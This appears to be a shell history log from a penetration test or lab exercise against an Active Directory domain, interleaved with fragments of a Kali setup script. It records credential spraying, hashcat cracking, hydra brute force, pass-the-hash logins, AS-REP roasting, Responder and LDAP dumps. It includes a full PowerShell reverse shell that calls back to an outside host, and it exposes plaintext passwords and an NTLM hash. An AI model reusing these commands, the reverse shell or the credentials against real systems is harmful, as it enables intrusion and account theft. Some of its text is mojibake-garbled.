nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --shares
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -L | less
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M nopac
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -L | less
nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' --local-auth
nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope' --local-auth
nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope'
nxc nfs windowshosts.txt -u 'svc_stabilize' -p '1gyroscope'
nxc smb windowshosts.txt -u 'svc_stabilize' -p '1gyroscope'
nxc smb windowshosts.txt
./termshot -scf output.png -- nxc smb windowshosts.txt
./termshot -scf output.png -- nxc smb 10.0.1.6
./termshot -scf output.png -C 101 -- nxc smb 10.0.1.6
./termshot -scf output.png -C 108 -- nxc smb 10.0.1.6
./termshot -scf output.png -C 108 -- nxc smb 10.0.1.6 --rid-brute
./termshot -scf output.png -C 108 -- nxc smb 10.0.1.6 -u '' -p '' --rid-brute
./termshot -scf output.png -C 108 -- nxc smb 10.0.1.6 -u ' ' -p '' --rid-brute
./termshot -scf output.png -C 108 -- nxc smb 10.0.1.6 -u '' -p '' --rid-brute
./termshot -scf output.png -C 108 -- nxc ldap windowshosts.txt
./termshot -scf output.png -C 108 -- nxc ldap 10.0.1.6
./termshot -scf output.png -C 105 -- nxc ldap 10.0.1.6
./termshot -scf output.png -C 105 -- nxc smb windowshosts.txt -u '' -p '' --local-auth
nano windowsworkstations.txt
cat windowshosts.txt
nano windowsworkstations.txt
./termshot -scf output.png -C 105 -- nxc smb windowsworkstations.txt -u '' -p '' --local-auth
./termshot -scf output.png -C 111 -- nxc smb windowsworkstations.txt -u '' -p '' --local-auth
./termshot -scf output.png -C 111 -- nxc smb windowsworkstations.txt -M timeroast
./termshot -scf output.png -C 111 -- nxc smb 10.0.1.6 -M timeroast
./termshot -scf output.png -C 90 -- nxc smb 10.0.1.6 -M timeroast
cat creds.txt
nano timehashes.txt
hashcat -m 31300 timehashes.txt /usr/share/wordlists/rockyou.txt.gz
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
cat ~/password.txt
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashcat -m 31300 timehashes.txt /usr/share/wordlists/rockyou.txt
sudo hashcat -m 31300 timehashes.txt /usr/share/wordlists/rockyou.txt
sudo hashcat -m 300 timehashes.txt /usr/share/wordlists/rockyou.txt
sudo hashcat -m 31300 timehashes.txt /usr/share/wordlists/rockyou.txt
sudo apt update
sudo apt list --upgradeable | grep 'hashcat'
sudo apt list --upgradeable
sudo apt list --upgradeable | grep ;git'
sudo apt list --upgradeable | grep 'git'
sudo apt list --upgradeable | grep 'hash'
clear
hashcat --help
hashcat -m
hashcat -m --help
hashcat --help | grep mode
hashcat --help | grep 31300
udo apt install build-essential git ocl-icd-opencl-dev opencl-headers libssl-dev
sudo apt install build-essential git ocl-icd-opencl-dev opencl-headers libssl-dev
git clone https://github.com/hashcat/hashcat.git\
cd hashcat
ls
make -j$(nproc)
./hashcat
./hashcat -m 31300
./hashcat -m 31300 ~/Loot/timehashes.txt /usr/share/wordlists/rockyou.txt
./hashcat -m 31300 ~/Loot/timehashes.txt test.txt
./hashcat -m 31300 ~/Loot/timehashes.txt test
apt install seclists
sudo apt install seclists
cat ~/.pa
cat ~/password.txt
sudo apt install seclists
./hashcat -m 31300 ~/Loot/timehashes.txt /usr/share/seclists/Passwords
clear
ip a
sails@way!
druiz
aphillips
adiazll
lpeterson
clear
StoreHostname
sudo ls
sudo nano /etc/hosts
StoreHostname
sudo nano /etc/hosts
ping APT-DC-01
nano dh1hashes.txt
hashcat -m 5600 dh1hashes.txt /usr/share/wordlists/rockyou.txt
nano dh1hashes.txt
hashcat -m 5600 dh1hashes.txt /usr/share/wordlists/rockyou.txt
cat dhc
cat dh1hashes.txt
nano dh1hashes.txt
hashcat -m 5600 dh1hashes.txt /usr/share/wordlists/rockyou.txt
nano dh1hashes.txt
rm dh1hashes.txt
nano dh1hashes.txt
hashcat -m 5600 dh1hashes.txt /usr/share/wordlists/rockyou.txt
nano dh1hashes.txt
hashcat -m 1000 dh1hashes.txt /usr/share/wordlists/rockyou.txt
clear
nano dh1hashes.txt
hashcat -m 1000 dh1hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 dh1hashes.txt /usr/share/wordlists/rockyou.txt --show
nano dh1hashes.txt
y
clear
mv dh1hashes.txt ..
cd ..
ls
ip a
nano play.txt
cat play.txt
powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.0.254.202', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()" | base64
base64 powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.0.254.202', 9001);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
base64 --help
base64 play.txt
base64 play.txt > play2.txt
cat play2.txt
nc -nvlp 9000
nano play2.txt
cat play2.txt
nc -nvlp 9000
nano play.txt
nc -nvlp 9001
clear
ip a
nano play.txt
rm play
rm play*
nano play.txt
cat play.txt
base64 play.txt > playen.txt
playen.txt
cat playen.txt
nano playen.txt
cat playen.txt
cat playen.txt | base64 -d
exit


_raw: : 1762633013:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762633003:0;hydra -l admin -P /usr/share/wordlists/rockyou.txt -t 4 -f -V chat.allports.tour:8081 http-get /admin


_raw: : 1762632998:0;nxc rdp 10.0.1.20 -u Administrator -p "Administrator"


_raw: : 1762632990:0;nxc rdp 10.0.1.20 -u Administrator -p "Administrator" --shares


_raw: : 1762632989:0;sudo service docker start


_raw: : 1762632984:0;nxc smb 10.0.1.20 -u Administrator -p "Administrator" --shares


_raw: : 1762632980:0;hydra -l admin -P ~/lists/top-100-pw.txt -t 4 -f -V chat.allports.tour:8081 http-get /admin


_raw: : 1762632978:0;sudo apt install zathura -y


_raw: : 1762632950:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762632940:0;nxc winrm 10.0.1.21 -u Administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth


_raw: : 1762632936:0;gobuster dir -u http://10.0.1.11:80 -w /usr/share/wordlists/fasttrack.txt


_raw: : 1762632935:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632926:0;sudo bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632915:0;sudo apt install docker-compose


_raw: : 1762632903:0;git clone https://github.com/evilmog/ntlmv1-multi.git


_raw: : 1762632895:0;sudo bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632891:0;nxc winrm 10.0.1.21 -u Administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth


_raw:
: 1762632884:0;sudo install -m 0755 -d /etc/apt/keyrings\
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg\
sudo chmod a+r /etc/apt/keyrings/docker.gpg\
echo \\
  "deb [arch="$(dpkg --print-architecture)" signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian \\
  "$(. /etc/os-release && echo "$VERSION_CODENAME")" stable" | \\
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null\
sudo apt update


_raw: : 1762632880:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632876:0;nxc winrm 10.0.1.20 -u Administrator -H a4fa38e8e61d094ab455cecda06105d3 --local-auth


_raw: : 1762632872:0;find . /usr/share/wordlists/ |grep fast


_raw: : 1762632842:0;sudo usermod -aG docker $USER


_raw: : 1762632833:0;sudo groupadd docker 2>/dev/null


_raw: : 1762632817:0;nxc smb 10.0.1.21 -u rdavis -p rosdav50 -k --use-kcache --shares


_raw: : 1762632792:0;curl -fsSL https://get.docker.com | sudo bash


_raw: : 1762632780:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632750:0;netexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M spider_plus -o DOWNLOAD_FLAG=true


_raw: : 1762632748:0;hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V chat.allports.tour:8081 http-get /admin


_raw: : 1762632734:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw:
\
\
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw:
ip a
hostname
arp -a
route
clear
man nmap
nmap -O 10.0.254.254
man nmap
nmap -p80 -sV 10.0.1.0/24
vi webhostsfromnmapscanwholescope.txt


_raw:
source .zshrc
cat .zshrc
rm -rf ./.oh-my-zsh
\
\
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"\


_raw:
: 1762632723:0;sudo apt update\
sudo apt install -y sed curl openssl uuid-runtime coreutils


_raw: : 1762632701:0;bash <(curl -s https://docs.sysreptor.com/install.sh)


_raw: : 1762632667:0;netexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M spider_plus


_raw: : 1762632656:0;sudo apt install libreoffice


_raw: : 1762632650:0;hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V chat.allports.tour:8081 http-get /admin


_raw: : 1762632636:0;hydra -l /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V chat.allports.tour:8081 http-get /admin


_raw: : 1762632594:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762632590:0;netexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -M NETLOGON -o DOWNLOAD_FLAG=true


_raw: : 1762632562:0;sudo usermod -aG docker $USER


_raw: : 1762632549:0;sudo groupadd docker 2>/dev/null


_raw: : 1762632541:0;nikto -h 10.0.1.15 -Tuning 1 -o nikto_15.html -Format html


_raw: : 1762632501:0;dirbuster -u http://10.0.1.11 -l /usr/share/dirb/wordlists/common.txt


_raw: : 1762632492:0;nikto 10.0.1.15 -Tuning 1 -o nikto_15.html -Format html


_raw:
nmap -sV 10.0.1.11
base64 -d 47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=
ssh admin@10.0.1.11
ssh rdavis@10.0.1.11
nmap -sV -sC 10.0.1.11
curl -O 10.0.1.11:8081 /uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
curl -O 10.0.1.11:8081/uploads/68dad1db2a0ceffc6f7f5770/4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
ls
cd Downloads
ls
cat curl_response
cat system.version.json
cat password.txt
cat 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
ls
cd ..
ls
cat 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
sudo cat 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
clear
ls
cat 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
nvim 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx
vim 4057dd90-c6c3-4676-a2c1-76abc79c863e__All_Ports_Tours_Earnings_Report.xlsx


_raw: : 1762632486:0;curl -fsSL https://get.docker.com | sudo bash


_raw:
ls
cd Downloads
ls
nano users.txt
python GetNPUsers.py
msfconsole
ls


_raw: : 1762632424:0;sudo apt install -y sed curl openssl uuid-runtime coreutils


_raw: : 1762632394:0;sudo apt install docker.io && sudo apt install docker-compose


_raw: : 1762632371:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: : 1762632348:0;sudo responder -I eth0 -A


_raw: : 1762632276:0;nxc ldap 10.0.1.6 -u users5.txt -p 'Sails@way!' --no-bruteforce --continue-on-success


_raw:
ls
cd Downloads
ls
binwalk -e silence.mp3
ls
binwalk silence.mp3
vim silence.mp3
binwalk silence.mp3
binwalk -e silence.mp3


_raw: : 1762632274:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt ldap3://10.0.1.6


_raw: : 1762632269:0;nxc smb 10.0.1.21 -u rdavis -p rosdav50 -k --use-kcache -M spider_plus -o download_flag=true


_raw: : 1762632264:0;nxc ldap 10.0.1.21 -u users5.txt -p 'Sails@way!' --no-bruteforce --continue-on-success


_raw: : 1762632252:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt smb://10.0.1.6


_raw: : 1762632251:0;nxc smb 10.0.1.21 -u rdavis -p rosdav50 -k --use-kcache --shares


_raw: : 1762632241:0;nxc ldap 10.0.1.121 -u users5.txt -p 'Sails@way!' --no-bruteforce --continue-on-success > ldapbrute.txt


_raw: : 1762632167:0;hydra -L usernames.txt -P /usr/share/wordlists/rockyou.txt rdp://10.0.1.6


_raw: : 1762632160:0;smbclient.py -k -no-pass deckhand-02.allports.local


_raw: Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-11-08 15:02:28


_raw:
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-11-08 15:02:26\
[DATA] max 6 tasks per 1 server, overall 6 tasks, 14344399 login tries (l:1/p:14344399), ~2390734 tries per task\
[DATA] attacking http-get://[*redacted*:8081]:80/admin\
[ERROR] could not resolve address: *redacted*:8081\
0 of 1 target completed, 0 valid password found\


_raw: : 1762632146:0;hydra -l /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V 10.0.1.11:8081 http-get /admin


_raw: : 1762632126:0;hydra -l /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V 10.0.1.11:8081 http-get /


_raw: : 1762632118:0;hydra -l /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/rockyou.txt -t 6 -f -V 10.0.1.11:8081 http-get


_raw: : 1762632093:0;nxc smb 10.0.1.6 -u rdavis -p rosdav50 -k --generate-tgt rdavis


_raw: : 1762632070:0;tail -f /var/log/gvm/feed-sync.log


_raw: : 1762632037:0;smbclient.py -k allports.local/rdavis@10.0.1.21 -h


_raw: : 1762632027:0;smbclient.py -k allports.local/rdavis@10.0.1.21


_raw: : 1762632016:0;smbclient.py -k allports.local/rdavis:rosdav50 -h


_raw: : 1762631997:0;smbclient.py -k allports.local/rdavis:rosdav50@10.0.1.21


_raw: : 1762631992:0;smbclient.py -k allports.local/rsavis:rosdav50@10.0.1.21


_raw: : 1762631991:0;--CollectionMethods Session --Stealth


_raw: : 1762631986:0;smbclient.py -k allports.local/rsavis:rosdav50


_raw:
: 1762631966:0;sudo greenbone-feed-sync --type SCAP\
sudo greenbone-feed-sync --type CERT\
sudo greenbone-feed-sync --type NVT


_raw: : 1762631955:0;nxc smb workstations -u rdavis -p rosdav50 -k --shares


_raw: : 1762631948:0;nxc winrm workstations -u rdavis -p rosdav50 -k --shares


_raw: : 1762631946:0;nmap -p- -sS --min-rate 100 -Pn -n chat.allports.tours


_raw: : 1762631936:0;gobuster dir -u http://10.0.1.15:8080 -w /usr/share/wordlists/dirb/common.txt


_raw:
EOF\
\
print_success "Zsh configured"\
\
###############################################################################\
# 10. Download p10k config from macOS\
###############################################################################\
print_status "Setting up Powerlevel10k configuration..."\
\
# Note: The full p10k config is very large, so we create a minimal version\
# Users can run 'p10k configure' to customize further\
cat >"$HOME/.p10k.zsh" <<'EOF'\
# Generated by Powerlevel10k configuration wizard\
# Wizard options: nerdfont-v3 + powerline, small icons, classic, unicode, darkest,\
# 12h time, angled separators, sharp heads, flat tails, 2 lines, disconnected, no frame,\
# sparse, many icons, concise, transient_prompt, instant_prompt=verbose.\
# Type `p10k configure` to generate another config.\
\
# Temporarily change options.\
'builtin' 'local' '-a' 'p10k_config_opts'\
[[ ! -o 'aliases'         ]] || p10k_config_opts+=('aliases')\
[[ ! -o 'sh_glob'         ]] || p10k_config_opts+=('sh_glob')\
[[ ! -o 'no_brace_expand' ]] || p10k_config_opts+=('no_brace_expand')\
'builtin' 'setopt' 'no_aliases' 'no_sh_glob' 'brace_expand'\
\
() {\
  emulate -L zsh -o extended_glob\
\
  unset -m '(POWERLEVEL9K_*|DEFAULT_USER)~POWERLEVEL9K_GITSTATUS_DIR'\
\
  [[ $ZSH_VERSION == (5.<1->*|<6->.*) ]] || return\
\
  typeset -g POWERLEVEL9K_LEFT_PROMPT_ELEMENTS=(\
    os_icon\
    dir\
    vcs\
    newline\
    prompt_char\
  )\
\
  typeset -g POWERLEVEL9K_RIGHT_PROMPT_ELEMENTS=(\
    status\
    command_execution_time\
    background_jobs\
    virtualenv\
    context\
    time\
  )\
\
  typeset -g POWERLEVEL9K_MODE=nerdfont-v3\
  typeset -g POWERLEVEL9K_ICON_PADDING=moderate\
  typeset -g POWERLEVEL9K_BACKGROUND=\
  typeset -g POWERLEVEL9K_PROMPT_ADD_NEWLINE=true\
  typeset -g POWERLEVEL9K_MULTILINE_FIRST_PROMPT_GAP_CHAR=' '\
  typeset -g POWERLEVEL9K_PROMPT_CHAR_OK_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=76\
  typeset -g POWERLEVEL9K_PROMPT_CHAR_ERROR_{VIINS,VICMD,VIVIS,VIOWR}_FOREGROUND=196\
  typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VIINS_CONTENT_EXPANSION='⃽\xAF'\
  typeset -g POWERLEVEL9K_PROMPT_CHAR_{OK,ERROR}_VICMD_CONTENT_EXPANSION='⃽\xAE'\
\
  typeset -g POWERLEVEL9K_DIR_FOREGROUND=31\
  typeset -g POWERLEVEL9K_SHORTEN_STRATEGY=truncate_to_unique\
  typeset -g POWERLEVEL9K_DIR_SHORTENED_FOREGROUND=103\
  typeset -g POWERLEVEL9K_DIR_ANCHOR_FOREGROUND=39\
  typeset -g POWERLEVEL9K_DIR_ANCHOR_BOLD=true\
\
  typeset -g POWERLEVEL9K_VCS_BRANCH_ICON='\uF126 '\
  typeset -g POWERLEVEL9K_VCS_CLEAN_FOREGROUND=76\
  typeset -g POWERLEVEL9K_VCS_UNTRACKED_FOREGROUND=76\
  typeset -g POWERLEVEL9K_VCS_MODIFIED_FOREGROUND=178\
\
  typeset -g POWERLEVEL9K_STATUS_EXTENDED_STATES=true\
  typeset -g POWERLEVEL9K_STATUS_OK=false\
  typeset -g POWERLEVEL9K_STATUS_ERROR_FOREGROUND=160\
\
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_THRESHOLD=3\
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_PRECISION=0\
  typeset -g POWERLEVEL9K_COMMAND_EXECUTION_TIME_FOREGROUND=101\
\
  typeset -g POWERLEVEL9K_BACKGROUND_JOBS_FOREGROUND=70\
\
  typeset -g POWERLEVEL9K_CONTEXT_ROOT_FOREGROUND=178\
  typeset -g POWERLEVEL9K_CONTEXT_{REMOTE,REMOTE_SUDO}_FOREGROUND=180\
  typeset -g POWERLEVEL9K_CONTEXT_FOREGROUND=180\
\
  typeset -g POWERLEVEL9K_VIRTUALENV_FOREGROUND=37\
\
  typeset -g POWERLEVEL9K_TIME_FOREGROUND=66\
  typeset -g POWERLEVEL9K_TIME_FORMAT='%D{%I:%M:%S %p}'\
\
  typeset -g POWERLEVEL9K_TRANSIENT_PROMPT=always\
  typeset -g POWERLEVEL9K_INSTANT_PROMPT=verbose\
}\
\
(( ${#p10k_config_opts} )) && setopt ${p10k_config_opts[@]}\
'builtin' 'unset' 'p10k_config_opts'\
EOF\
\
print_success "Powerlevel10k configured"\
\
###############################################################################\
# 11. Create helper scripts directory\
###############################################################################\
print_status "Creating scripts directory..."\
mkdir -p "$HOME/.scripts"\
\
# Create a simple pipinstall.sh script if referenced\
cat >"$HOME/.scripts/pipinstall.sh" <<'EOF'\
#!/bin/bash\
# Simple pip install wrapper\
pip3 install "$@"\
EOF\
chmod +x "$HOME/.scripts/pipinstall.sh"\
\
print_success "Helper scripts created"\
\
###############################################################################\
# 12. Change default shell to zsh\
###############################################################################\
print_status "Setting zsh as default shell..."\
if [ "$SHELL" != "$(which zsh)" ]; then\
  chsh -s $(which zsh)\
  print_success "Default shell changed to zsh (restart terminal to apply)"\
else\
  print_success "Zsh is already the default shell"\
fi\
\
###############################################################################\
# 13. Install tmux plugins\
###############################################################################\
print_status "Installing tmux plugins..."\
# TPM requires tmux to be running, so we provide instructions\
print_warning "To install tmux plugins, run: tmux new-session -d -s temp && ~/.tmux/plugins/tpm/bin/install_plugins && tmux kill-session -t temp"\
\
###############################################################################\
# 14. Additional pentesting tools setup\
###############################################################################\
print_status "Setting up additional pentesting environment..."\
\
# Install common pentesting Python packages\
pip3 install --user sqlmap impacket pwntools\
\
# Ensure common directories exist\
mkdir -p "$HOME/Pentesting"\
mkdir -p "$HOME/tools"\
\
print_success "Pentesting environment setup complete"\
\
###############################################################################\
# 15. Final Notes\
###############################################################################\
echo ""\
echo -e "${GREEN}⃵\x83\xB4⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB7${NC}"\
echo -e "${GREEN}⃵\x83\xB1            Kali Linux Ricing Complete!                    ⃵\x83\xB1${NC}"\
echo -e "${GREEN}⃵\x83\xBA⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xB0⃵\x83\xBD${NC}"\
echo ""\
print_status "Next steps:"\
echo "  1. Restart your terminal or run: exec zsh"\
echo "  2. Install tmux plugins by opening tmux and pressing: Ctrl+s then I (capital i)"\
echo "  3. If you want to use Powerlevel10k instead of Starship:"\
echo "     - Edit ~/.zshrc and uncomment: ZSH_THEME=\"powerlevel10k/powerlevel10k\""\
echo "     - Comment out: eval \"\$(starship init zsh)\""\
echo "     - Run: p10k configure (to customize further)"\
echo "  4. Install Nerd Font in your terminal emulator settings"\
echo "  5. Enjoy your riced Kali setup!"\
echo ""\
print_success "Configuration files backed up with timestamp"\
echo ""


_raw: : 1762631912:0;sudo apt install kali-linux-everything


_raw: : 1762631912:0;subfinder -d allports.tours -nW


_raw: : 1762631912:0;subfinder -d allports.tours


_raw: : 1762631912:0;subfinder -d allports.tours --status


_raw: : 1762631912:0;enum4linux -a 10.0.1.6 | tee enum4linux_full.txt


_raw: : 1762631912:0;sublist3r -d allports.tours


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6:3268 -b "dc=allports,dc=local" -E pr=1000/noprompt "(cn=*Admin*)" dn cn member | tee admin_like_groups.ldif\


_raw:
: 1762631912:0;# Try a paged user dump via the Global Catalog\
ldapsearch -x -LLL -H ldap://10.0.1.6:3268 \\
  -b "dc=allports,dc=local" -E pr=1000/noprompt \\
  "(objectCategory=person)" \\
  sAMAccountName distinguishedName displayName memberOf userAccountControl mail | tee users_gc.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldaps://10.0.1.6:3269 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=person)" sAMAccountName distinguishedName | tee users_gc_ssl.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(objectCategory=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Domain Controllers)(cn=Administrators)))" dn cn member | tee priv_groups.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "cn=Domain Admins,cn=Users,dc=allports,dc=local" member | tee domain_admins.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(objectClass=computer)(servicePrincipalName=*))" cn dNSHostName servicePrincipalName | tee spn_computers.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName distinguishedName servicePrincipalName userAccountControl | tee spn_users.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=person)" sAMAccountName distinguishedName displayName memberOf userAccountControl mail | tee users_full.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" -E pr=1000/noprompt "(objectCategory=group)" dn cn member | tee groups.ldif\


_raw: : 1762631912:0;sudo apt install getnpusers


_raw: : 1762631912:0;GetNPUsers allports.local/ -no-pass -dc-ip 10.0.1.6 | tee asrep_out.txt


_raw: : 1762631912:0;GetNPUsers.py allports.local/ -no-pass -dc-ip 10.0.1.6 | tee asrep_out.txt


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" sAMAccountName cn displayName | tee users.ldif


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(objectClass=computer)(servicePrincipalName=*))" cn dNSHostName servicePrincipalName | tee spn_computers.ldif


_raw:
: 1762631912:0;# Any object with an SPN\
ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(servicePrincipalName=*)" distinguishedName servicePrincipalName sAMAccountName objectClass | tee spn_any.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName servicePrincipalName userAccountControl | tee spn_users.ldif\


_raw: : 1762631912:0;sudo apt install vldapsearch


_raw: : 1762631912:0;vldapsearch -x -LLL -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(&(servicePrincipalName=*)(objectClass=user))" sAMAccountName servicePrincipalName userAccountControl | tee spn_users.ldif\


_raw: : 1762631912:0;ldapsearch -x -LLL -H ldap://10.0.1.6 -s base -b "" namingContexts\


